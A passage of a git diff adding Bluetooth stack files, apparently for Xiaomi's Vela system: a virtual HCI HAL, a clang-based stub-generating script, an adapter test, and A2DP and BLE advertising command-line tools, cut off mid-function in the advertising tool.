License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_HCI_FILTER_H__ +#define _BT_HCI_FILTER_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <stdlib.h> + +bool bt_hci_filter_can_recv(uint8_t* value, uint32_t size); +bool bt_hci_filter_can_send(uint8_t* value, uint32_t size); + +#endif /* _BT_HCI_FILTER_H__ */ diff --git a/service/vhal/bt_vhal.c b/service/vhal/bt_vhal.c new file mode 100644 index 0000000000000000000000000000000000000000..140983b96886329361834f334b8219fd8423b8b5 --- /dev/null +++ b/service/vhal/bt_vhal.c @@ -0,0 +1,91 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include "bt_vhal.h" + +#include <debug.h> +#include <nuttx/wireless/bluetooth/bt_hci.h> +#include <nuttx/wireless/bluetooth/bt_ioctl.h> +#include <string.h> + +#include "bt_addr.h" +#include "bt_hash.h" +#include "bt_hci_filter.h" +#include "utils/log.h" + +enum { + HCI_TYPE_COMMAND = 1, + HCI_TYPE_ACL = 2, + HCI_TYPE_SCO = 3, + HCI_TYPE_EVENT = 4, + HCI_TYPE_ISO_DATA = 5 +}; + +static int bt_vhal_open(int fd) +{ + return 0; +} + +static int bt_vhal_close(int fd) +{ + return 0; +} + +static int bt_vhal_send(uint8_t* value, uint32_t size) +{ + switch (*value) { + case HCI_TYPE_COMMAND: { +#ifdef CONFIG_BLUETOOTH_HCI_FILTER + bt_hci_filter_can_send(value, size); +#endif + break; + } + default: + break; + } + + return 0; +} + +static int bt_vhal_recv(uint8_t* value, uint32_t size) +{ + int ret = 0; + + switch (*value) { + case HCI_TYPE_EVENT: { +#ifdef CONFIG_BLUETOOTH_HCI_FILTER + ret = bt_hci_filter_can_recv(value, size); +#endif + break; + } + default: + break; + } + + return ret; +} + +static const bt_vhal_interface g_vhal_interface = { + .open = bt_vhal_open, + .close = bt_vhal_close, + .send = bt_vhal_send, + .recv = bt_vhal_recv, +}; + +const void* get_bt_vhal_interface() +{ + return &g_vhal_interface; +} diff --git a/service/vhal/bt_vhal.h b/service/vhal/bt_vhal.h new file mode 100644 index 0000000000000000000000000000000000000000..85a97307637dc2ab9d0523aabc676ec4ce0d5619 --- /dev/null +++ b/service/vhal/bt_vhal.h @@ -0,0 +1,34 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_VHAL_H__ +#define _BT_VHAL_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <stdlib.h> + +typedef struct bt_vhal { + size_t size; + + int (*open)(int fd); + int (*send)(uint8_t* value, uint32_t size); + int (*recv)(uint8_t* value, uint32_t size); + int (*close)(int fd); +} bt_vhal_interface; + +const void* get_bt_vhal_interface(); + +#endif /* _BT_VHAL_H__ */ diff --git a/test.py b/test.py new file mode 100755 index 0000000000000000000000000000000000000000..6cd4b75c575baab75bd280d03f999c1b8d12b33d --- /dev/null +++ b/test.py @@ -0,0 +1,31 @@ +import clang.cindex + +index = clang.cindex.Index.create() +tu = index.parse("framework/include/bt_device.h", args=['-std=c99']) + +for node in tu.cursor.walk_preorder(): + if node.kind == clang.cindex.CursorKind.FUNCTION_DECL: + print('struct ' + node.spelling + '_s') + print('{') + if node.result_type.spelling == 'void *': + print(' ' + node.result_type.spelling + ' __ret;') + elif node.result_type.spelling != 'void': + print(' ' + node.result_type.spelling.replace("*","") + ' __ret;') + for arg in node.get_arguments(): + print(' ' + arg.type.spelling.replace("*","") + ' ' + arg.spelling + ';') + print('};\n') + + print(arg.type.spelling + ' ' + node.spelling + '(', end="") + first = True + for arg in node.get_arguments(): + if first != True: + print(', ', end="") + first = False + print(arg.type.spelling + ' ' + arg.spelling, end="") + print(')') + print('{') + print('}\n') + +for node in tu.cursor.walk_preorder(): + if node.kind == clang.cindex.CursorKind.FUNCTION_DECL: + print(node.spelling.upper() + ',') diff --git a/tests/adapter_test.c b/tests/adapter_test.c new file mode 100644 index 0000000000000000000000000000000000000000..92124987c39ef4627ea2fd03eda9535120401d01 --- /dev/null +++ b/tests/adapter_test.c @@ -0,0 +1,98 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include "bluetooth.h" +#include "bt_adapter.h" +#include "utils.h" + +static void on_adapter_state_changed_cb(void* cookie, bt_adapter_state_t state) +{ + printf("Context:%p, Adapter state changed: %d\n", cookie, state); +} + +static void on_discovery_state_changed_cb(void* cookie, bt_discovery_state_t state) +{ + printf("Discovery state: %s\n", state == BT_DISCOVERY_STATE_STARTED ? "Started" : "Stopped"); +} + +static void on_discovery_result_cb(void* cookie, bt_discovery_result_t* result) +{ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + bt_addr_ba2str(&result->addr, addr_str); + printf("Inquiring: device [%s], name: %s, cod: %08" PRIx32 ", rssi: %d\n", addr_str, result->name, result->cod, result->rssi); +} + +static void on_scan_mode_changed_cb(void* cookie, bt_scan_mode_t mode) +{ + printf("Adapter new scan mode: %d\n", mode); +} + +static void on_device_name_changed_cb(void* cookie, const char* device_name) +{ + printf("Adapter update device name: %s\n", device_name); +} + +const static adapter_callbacks_t g_adapter_cbs = { + .on_adapter_state_changed = on_adapter_state_changed_cb, + .on_discovery_state_changed = on_discovery_state_changed_cb, + .on_discovery_result = on_discovery_result_cb, + .on_scan_mode_changed = on_scan_mode_changed_cb, + .on_device_name_changed = on_device_name_changed_cb, + .on_pair_request = NULL, + .on_pair_display = NULL, + .on_connection_state_changed = NULL, + .on_bond_state_changed = NULL, + .on_remote_name_changed = NULL, + .on_remote_alias_changed = NULL, + .on_remote_cod_changed = NULL, + .on_remote_uuids_changed = NULL, +}; + +int main(int argc, char** argv) +{ + bt_instance_t* ins = NULL; + static void* adapter_callback = NULL; + + ins = bluetooth_create_instance(); + if (ins == NULL) { + printf("create instance error\n"); + return -1; + } + printf("create instance success\n"); + adapter_callback = bt_adapter_register_callback(ins, &g_adapter_cbs); + if (adapter_callback == NULL) { + bluetooth_delete_instance(ins); + printf("register callback error\n"); + return -1; + } + printf("register callback success\n"); + bt_adapter_state_t state = bt_adapter_get_state(ins); + printf("adapter state: %d\n", state); + + sleep(10); + if (!bt_adapter_unregister_callback(ins, adapter_callback)) { + printf("unregister callback error\n"); + } else { + printf("unregister callback success\n"); + } + bluetooth_delete_instance(ins); + printf("btclient exited\n"); + + return 0; +} diff --git a/tests/impl/impl.py b/tests/impl/impl.py new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/tests/test.py b/tests/test.py new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/tools/a2dp_sink.c b/tools/a2dp_sink.c new file mode 100644 index 0000000000000000000000000000000000000000..2874479515f23da32eb386460f3562060af28bfc --- /dev/null +++ b/tools/a2dp_sink.c @@ -0,0 +1,139 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <getopt.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include "bluetooth.h" +#include "bt_a2dp_sink.h" +#include "bt_adapter.h" +#include "bt_tools.h" + +static int connect_cmd(void* handle, int argc, char* argv[]); +static int disconnect_cmd(void* handle, int argc, char* argv[]); +static int get_state_cmd(void* handle, int argc, char* argv[]); + +static bt_command_t g_a2dp_sink_tables[] = { + { "connect", connect_cmd, 0, "\"establish a2dp sink signal and stream connection, params: <address>\"" }, + { "disconnect", disconnect_cmd, 0, "\"disconnect a2dp sink signal and stream connection, params: <address>\"" }, + { "state", get_state_cmd, 0, "\"get a2dp sink connection or audio state , params: <address>\"" }, +}; + +static void* sink_cbks_cookie = NULL; + +static void usage(void) +{ + printf("Usage:\n"); + printf("\taddress: peer device address like 00:01:02:03:04:05\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_a2dp_sink_tables); i++) { + printf("\t%-8s\t%s\n", g_a2dp_sink_tables[i].cmd, g_a2dp_sink_tables[i].help); + } +} + +static int connect_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_a2dp_sink_connect(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int disconnect_cmd(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_a2dp_sink_disconnect(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int get_state_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int state = bt_a2dp_sink_get_connection_state(handle, &addr); + PRINT("A2DP sink connection state: %d", state); + return CMD_OK; +} + +static void a2dp_sink_connection_state_cb(void* cookie, bt_address_t* addr, profile_connection_state_t state) +{ + PRINT_ADDR("a2dp_sink_connection_state_cb, addr:%s, state:%d", addr, state); +} + +static void a2dp_sink_audio_state_cb(void* cookie, bt_address_t* addr, a2dp_audio_state_t state) +{ + PRINT_ADDR("a2dp_src_audio_state_cb, addr:%s, state:%d", addr, state); +} + +static void a2dp_sink_audio_config_cb(void* cookie, bt_address_t* addr) +{ + PRINT_ADDR("a2dp_sink_audio_config_cb, addr:%s", addr); +} + +static const a2dp_sink_callbacks_t a2dp_sink_cbs = { + sizeof(a2dp_sink_cbs), + a2dp_sink_connection_state_cb, + a2dp_sink_audio_state_cb, + a2dp_sink_audio_config_cb, +}; + +int a2dp_sink_commond_init(void* handle) +{ + sink_cbks_cookie = bt_a2dp_sink_register_callbacks(handle, &a2dp_sink_cbs); + + return 0; +} + +int a2dp_sink_commond_uninit(void* handle) +{ + bt_a2dp_sink_unregister_callbacks(handle, sink_cbks_cookie); + + return 0; +} + +int a2dp_sink_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table(handle, g_a2dp_sink_tables, ARRAY_SIZE(g_a2dp_sink_tables), argc, argv); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/a2dp_source.c b/tools/a2dp_source.c new file mode 100644 index 0000000000000000000000000000000000000000..e48c25c7c9e47f9a17e58cd44cea8ef9cc12730f --- /dev/null +++ b/tools/a2dp_source.c @@ -0,0 +1,140 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <getopt.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include "bluetooth.h" +#include "bt_a2dp_source.h" +#include "bt_adapter.h" +#include "bt_tools.h" + +static int connect_cmd(void* handle, int argc, char* argv[]); +static int disconnect_cmd(void* handle, int argc, char* argv[]); +static int get_state_cmd(void* handle, int argc, char* argv[]); + +static bt_command_t g_a2dp_tables[] = { + { "connect", connect_cmd, 0, "\"establish a2dp signal and stream connection, params: <address>\"" }, + { "disconnect", disconnect_cmd, 0, "\"disconnect a2dp signal and stream connection, params: <address>\"" }, + { "state", get_state_cmd, 0, "\"get a2dp connection or audio state , params: <address>\"" }, +}; + +static void* src_cbks_cookie = NULL; + +static void usage(void) +{ + printf("Usage:\n"); + printf("\taddress: peer device address like 00:01:02:03:04:05\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_a2dp_tables); i++) { + printf("\t%-8s\t%s\n", g_a2dp_tables[i].cmd, g_a2dp_tables[i].help); + } +} + +static int connect_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_a2dp_source_connect(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int disconnect_cmd(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_a2dp_source_disconnect(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int get_state_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int state = bt_a2dp_source_get_connection_state(handle, &addr); + PRINT("A2DP source connection state: %d", state); + + return CMD_OK; +} + +static void a2dp_src_connection_state_cb(void* cookie, bt_address_t* addr, profile_connection_state_t state) +{ + PRINT_ADDR("a2dp_src_connection_state_cb, addr:%s, state:%d", addr, state); +} + +static void a2dp_src_audio_state_cb(void* cookie, bt_address_t* addr, a2dp_audio_state_t state) +{ + PRINT_ADDR("a2dp_src_audio_state_cb, addr:%s, state:%d", addr, state); +} + +static void a2dp_src_audio_source_config_cb(void* cookie, bt_address_t* addr) +{ + PRINT_ADDR("a2dp_src_audio_source_config_cb, addr:%s", addr); +} + +static const a2dp_source_callbacks_t a2dp_src_cbs = { + sizeof(a2dp_src_cbs), + a2dp_src_connection_state_cb, + a2dp_src_audio_state_cb, + a2dp_src_audio_source_config_cb, +}; + +int a2dp_src_commond_init(void* handle) +{ + src_cbks_cookie = bt_a2dp_source_register_callbacks(handle, &a2dp_src_cbs); + + return 0; +} + +int a2dp_src_commond_uninit(void* handle) +{ + bt_a2dp_source_unregister_callbacks(handle, src_cbks_cookie); + + return 0; +} + +int a2dp_src_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table(handle, g_a2dp_tables, ARRAY_SIZE(g_a2dp_tables), argc, argv); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/adv.c b/tools/adv.c new file mode 100644 index 0000000000000000000000000000000000000000..4eee9e21035e5e49201a858d8828d8e6abf2366b --- /dev/null +++ b/tools/adv.c @@ -0,0 +1,491 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <ctype.h> +#include <getopt.h> +#include <stdlib.h> +#include <string.h> + +#include "advertiser_data.h" +#include "bluetooth.h" +#include "bt_le_advertiser.h" +#include "bt_tools.h" + +static int start_adv_cmd(void* handle, int argc, char* argv[]); +static int stop_adv_cmd(void* handle, int argc, char* argv[]); +static int set_adv_data_cmd(void* handle, int argc, char* argv[]); +static int dump_adv_cmd(void* handle, int argc, char* argv[]); + +static struct option adv_options[] = { + { "adv_type", required_argument, 0, 't' }, + { "mode", required_argument, 0, 'm' }, + { "interval", required_argument, 0, 'i' }, + { "peer_addr", required_argument, 0, 'P' }, + { "peer_addr_type", required_argument, 0, 'T' }, + { "own_addr", required_argument, 0, 'O' }, + { "own_addr_type", required_argument, 0, 'R' }, + { "tx_power", required_argument, 0, 'p' }, + { "channel", required_argument, 0, 'c' }, + { "filter", required_argument, 0, 'f' }, + { "duration", required_argument, 0, 'd' }, + { "default", no_argument, 0, 'D' }, + { "raw_data", required_argument, 0, 'r' }, + { 0, 0, 0, 0 } +}; + +static struct option adv_stop_options[] = { + { "advid", required_argument, 0, 'i' }, + { "handle", required_argument, 0, 'h' }, + { 0, 0, 0, 0 } +}; + +static bt_command_t g_adv_tables[] = { + { "start", start_adv_cmd, 1, "start advertising\n" + "\t -t or --adv_type, advertising type opt(adv_ind/direct_ind/nonconn_ind/scan_ind)\n" + "\t -m or --mode, advertising mode opt(legacy/ext/auto, default auto)\n" + "\t -i or --interval, advertising intervel range 0x20~0x4000\n" + "\t -n or --name, advertising name no more than 29 bytes \n" + "\t -a or --appearance, advertising appearance range 0000~FFFF \n" + "\t -P or --peer_addr, if directed advertising is performed, shall be valid\n" + "\t -T or --peer_addr_type, if directed advertising is performed, shall be valid\n" + "\t -O or --own_addr, update own random address for this advertising, mandatory when own addr type is random\n" + "\t -R or --own_addr_type, address type(public/random/public_id/random_id/anonymous)\n" + "\t -p or --tx_power, advertising tx power range -20~10 dBm\n" + "\t -c or --channel, advertising channel map opt (37/38/39, 0 means default)\n" + "\t -f or --filter, advertising white list filter policy(none/scan/conn/all)\n" + "\t -d or --duration, advertising duration, only extended adv valid, range 0x0~0xFFFF\n" + "\t -D or --default, use default advertising data and scan response data\n" + "\t -r or --raw_data, advertising data by design <adv_data>\n" + "\t\t\t e.g., 02010803FF8F03\n" }, + { "stop", stop_adv_cmd, 1, "stop advertising \n" + "\t -i or --advid, advertising ID, advertising_start_cb notify \n" + "\t -h or --handle, advertising handle, bt_le_start_advertising return \n" }, + { "set_data", set_adv_data_cmd, 1, "set advertising data, not implemented" }, + { "dump", dump_adv_cmd, 0, "dump adv current state" }, +}; + +static uint8_t s_adv_data[] = { 0x02, 0x01, 0x08, 0x03, 0xFF, 0x8F, 0x03 }; /* flags: LE & BREDR, Manufacturer ID:0x038F */ +static uint8_t s_rsp_data[] = { 0x08, 0x09, 0x56, 0x65, 0x6C, 0x61, 0x2D, 0x42, 0x54 }; /* Complete Local Name:Vela-BT */ + +static void usage(void) +{ + printf("Usage:\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_adv_tables); i++) { + printf("\t%-4s\t%s\n", g_adv_tables[i].cmd, g_adv_tables[i].help); + } +} + +static void on_advertising_start_cb(bt_advertiser_t* adv, uint8_t adv_id, uint8_t status) +{ + PRINT("%s, handle:%p, adv_id:%d, status:%d", __func__, adv, adv_id, status); +} + +static void on_advertising_stopped_cb(bt_advertiser_t* adv, uint8_t adv_id) +{ + PRINT("%s, handle:%p, adv_id:%d", __func__, adv, adv_id); +} + +static advertiser_callback_t adv_callback = { + sizeof(adv_callback), + on_advertising_start_cb, + on_advertising_stopped_cb +}; + +static int data_check(const char* str) +{ + while (*str) { + if (!isxdigit(*str++)) + return -1; + } + + return 0; +} + +static uint8_t* str_to_array(const char* str, uint16_t* adv_len) +{ + int len, i; + char tmp_byte[3] = { 0 }; + uint8_t* array_data; + + if ((strlen(str) & 1)) { + PRINT("error hex string length, should be even."); + return NULL; + } + + if (data_check(str) < 0) { + PRINT("error hex string length."); + return NULL; + } + + len = strlen(str) / 2; + array_data = (uint8_t*)malloc(len); + if (!array_data) { + PRINT("No memory"); + return NULL; + } + + for (i = 0; i < len; i++) { + tmp_byte[0] = str[i * 2]; + tmp_byte[1] = str[i * 2 + 1]; + tmp_byte[2] = '\0'; + array_data[i] = (uint8_t)(strtol(tmp_byte, NULL, 16) & 0xFF); + } + + *adv_len = len; + + return array_data; +} + +static int start_adv_cmd(void* handle, int argc, char* argv[]) +{ + uint8_t adv_mode = 0; + ble_adv_params_t params = { 0 }; + advertiser_data_t *adv = NULL, *scan_rsp = NULL; + uint8_t *p_adv_data = NULL, *p_scan_rsp_data = NULL, *p_raw_adv_data = NULL; + uint16_t adv_len = 0, scan_rsp_len = 0; + bt_advertiser_t* adv_handle; + char* name = "VELA_BT"; + uint16_t appearance = 0; + int opt; + + params.adv_type = BT_LE_ADV_IND; + bt_addr_set_empty(¶ms.peer_addr); + params.peer_addr_type = BT_LE_ADDR_TYPE_PUBLIC; + bt_addr_set_empty(¶ms.own_addr); + params.own_addr_type = BT_LE_ADDR_TYPE_PUBLIC; + params.interval = 320; + params.tx_power = 0; + params.channel_map = BT_LE_ADV_CHANNEL_DEFAULT; + params.filter_policy = BT_LE_ADV_FILTER_WHITE_LIST_FOR_NONE; + params.duration = 0; + + optind = 0; + while ((opt = getopt_long(argc, argv, "+t:m:i:n:a:p:c:f:d:P:T:O:R:Dr:", adv_options, + NULL)) + != -1) { + switch (opt) { + case 't': + if (strncasecmp(optarg, "adv_ind", strlen("adv_ind")) == 0) + params.adv_type = BT_LE_ADV_IND; + else if (strncasecmp(optarg, "direct_ind", strlen("direct_ind")) == 0) + params.adv_type = BT_LE_ADV_DIRECT_IND; + else if (strncasecmp(optarg, "nonconn_ind", strlen("nonconn_ind")) == 0) + params.adv_type = BT_LE_ADV_NONCONN_IND; + else if (strncasecmp(optarg, "scan_ind", strlen("scan_ind")) == 0) + params.adv_type = BT_LE_ADV_SCAN_IND; + else if (strncasecmp(optarg, "scan_rsp_ind", strlen("scan_rsp_ind")) == 0) + params.adv_type = BT_LE_SCAN_RSP; + else { + PRINT("error adv type: %s", optarg); + return CMD_INVALID_PARAM; + } + + PRINT("adv type: %s", optarg); + break; + case 'm': + if (strncasecmp(optarg, "legacy", strlen("legacy")) == 0) + adv_mode = 1; + else if (strncasecmp(optarg, "ext", strlen("ext")) == 0) + adv_mode = 2; + else if (strncasecmp(optarg, "auto", strlen("auto")) == 0) + adv_mode = 0; + else { + PRINT("erro adv mode: %s", optarg); + return CMD_INVALID_PARAM; + } + + PRINT("adv type: %s", optarg); + break; + case 'i': { + int32_t interval = atoi(optarg); + if (interval < 0x20 || interval > 0x4000) { + PRINT("error interval, range must in 0x20~0x4000"); + return CMD_INVALID_PARAM; + } + + params.interval = interval; + PRINT("interval: %f ms", (float)interval * 0.625); + } break; + case 'n': { + name = optarg; + PRINT("adv name: %s ", optarg); + } break; + case 'a': { + appearance = strtol(optarg, NULL, 16); + PRINT("adv appearance: 0x%04x ", appearance); + } + case 'p': { + int32_t power = atoi(optarg); + if (power < -20 || power > 10) { + PRINT("error tx power, range must in -20~10"); + return CMD_INVALID_PARAM; + } + + params.tx_power = power; + PRINT("tx_power: %" PRId32 " dBm", power); + } break; + case 'c': { + int32_t channel = atoi(optarg); + if (channel != 0 && channel != 37 && channel != 38 && channel != 39) { + PRINT("error channel selected:%s, please choose \ + one from 37,38,30, 0 means default", + optarg); + return CMD_INVALID_PARAM; + } + + if (channel == 0) + params.channel_map = BT_LE_ADV_CHANNEL_DEFAULT; + else if (channel == 37) + params.channel_map = BT_LE_ADV_CHANNEL_37_ONLY; + else if (channel == 38) + params.channel_map = BT_LE_ADV_CHANNEL_38_ONLY; + else if (channel == 39) + params.channel_map = BT_LE_ADV_CHANNEL_39_ONLY; + + PRINT("channel map: %s", channel == 0 ? "default" : optarg); + } break; + case 'f': { + if (strncasecmp(optarg, "none", strlen("none")) == 0) + params.filter_policy = BT_LE_ADV_FILTER_WHITE_LIST_FOR_NONE; + else if (strncasecmp(optarg, "scan", strlen("scan")) == 0) + params.filter_policy = BT_LE_ADV_FILTER_WHITE_LIST_FOR_SCAN; + else if (strncasecmp(optarg, "conn", strlen("conn")) == 0) + params.filter_policy = BT_LE_ADV_FILTER_WHITE_LIST_FOR_CONNECTION; + else if (strncasecmp(optarg, "all", strlen("all")) == 0) + params.filter_policy = BT_LE_ADV_FILTER_WHITE_LIST_FOR_ALL; + else { + PRINT("error filter policy: %s", optarg); + return CMD_INVALID_PARAM; + } + + PRINT("filter policy: %s", optarg); + } break; + case 'd': { + int32_t duration = atoi(optarg); + if (duration < 0 || duration > 0xFFFF) { + PRINT("error duration, range in 0x0000~0xFFFF"); + return CMD_INVALID_PARAM; + } + PRINT("duration: %" PRId32 " ms", duration * 10); + params.duration = duration; + } break; + case 'P': { + bt_address_t peeraddr; + if (bt_addr_str2ba(optarg, &peeraddr) != 0) { + PRINT("unrecognizable address format %s", optarg); + return CMD_INVALID_PARAM; + } + + memcpy(¶ms.peer_addr, &peeraddr, sizeof(bt_address_t)); + PRINT("peer address: %s", optarg); + } break; + case 'T': { + ble_addr_type_t type; + + if (le_addr_type(optarg, &type) < 0) { + PRINT("unrecognizable address type: %s", optarg); + return CMD_INVALID_PARAM; + } + params.peer_addr_type = type; + PRINT("peer address type: %s", optarg); + } break; + case 'O': { + bt_address_t ownaddr; + if (bt_addr_str2ba(optarg, &ownaddr) != 0) { + PRINT("unrecognizable address format %s", optarg); + return CMD_INVALID_PARAM; + } + + memcpy(¶ms.own_addr, &ownaddr, sizeof(bt_address_t)); + PRINT("own address: %s", optarg); + } break; + case 'R': { + ble_addr_type_t type; + + if (le_addr_type(optarg, &type) < 0) { + PRINT("unrecognizable address type: %s", optarg); + return CMD_INVALID_PARAM; + } + params.own_addr_type = type; + PRINT("own address type: %s", optarg); + } break; + case 'D': { + p_adv_data = s_adv_data; + adv_len = sizeof(s_adv_data); + p_scan_rsp_data = s_rsp_data; + scan_rsp_len = sizeof(s_rsp_data); + } break; + case 'r': { + PRINT("adv_data: %s", optarg); + p_raw_adv_data = str_to_array(optarg, &adv_len); + if (!p_raw_adv_data) { + PRINT("error raw adv data"); + return CMD_INVALID_PARAM; + } + } break; + default: + PRINT("%s, default opt:%c, arg:%s", __func__, opt, optarg); + break; + } + } + + if (params.own_addr_type == BT_LE_ADDR_TYPE_RANDOM && bt_addr_is_empty(¶ms.own_addr)) { + PRINT("should set own address using \"-O\" option"); + if (p_raw_adv_data) + free(p_raw_adv_data); + return CMD_INVALID_ADDR; + } + + if (p_adv_data && p_raw_adv_data) { + PRINT("should not set both \"-D\" and \"-r\" option"); + free(p_raw_adv_data); + return CMD_INVALID_PARAM; + } + + if (adv_mode == 1) + params.adv_type += BT_LE_LEGACY_ADV_IND; + else if (adv_mode == 2) + params.adv_type += BT_LE_EXT_ADV_IND; + + if (p_raw_adv_data) + p_adv_data = p_raw_adv_data; + + if (!p_adv_data) { + bt_uuid_t uuid; + + adv = advertiser_data_new(); + + /* set adv flags 0x08 */ + advertiser_data_set_flags(adv, BT_AD_FLAG_DUAL_MODE | BT_AD_FLAG_GENERAL_DISCOVERABLE); + + /* add spp uuid */ + bt_uuid16_create(&uuid, 0x1101); + advertiser_data_add_service_uuid(adv, &uuid); + + /* add handsfree uuid */ + bt_uuid16_create(&uuid, 0x111E); + advertiser_data_add_service_uuid(adv, &uuid); + + /* set adv appearance */ + if (appearance) + advertiser_data_set_appearance(adv, appearance); + + /* build adverser data */ + p_adv_data = advertiser_data_build(adv, &adv_len); + + scan_rsp = advertiser_data_new(); + + /* set adv complete name */ + advertiser_data_set_name(scan_rsp, name); + + /* build scan response data */ + p_scan_rsp_data = advertiser_data_build(scan_rsp, &scan_rsp_len); + } + + if (p_adv_data) + advertiser_data_dump(p_adv_data, adv_len, NULL); + + if (p_scan_rsp_data) + advertiser_data_dump(p_scan_rsp_data, scan_rsp_len, NULL); + + adv_handle = bt_le_start_advertising(handle, ¶ms, + p_adv_data, adv_len, + p_scan_rsp_data, scan_rsp_len, + &adv_callback); + + PRINT("Advertising handle:%p", adv_handle); + /* free advertiser data */ + if (adv) + advertiser_data_free(adv); + + if (p_raw_adv_data) + free(p_raw_adv_data); + + /* free scan response data */ + if (scan_rsp) + advertiser_data_free(scan_rsp); + + return CMD_OK; +} + +static int stop_adv_cmd(void* handle, int argc, char* argv[]) +{ + int opt; + + optind = 0; + while ((opt = getopt_long(argc, argv, "i:h:", adv_stop_options, + NULL)) + != 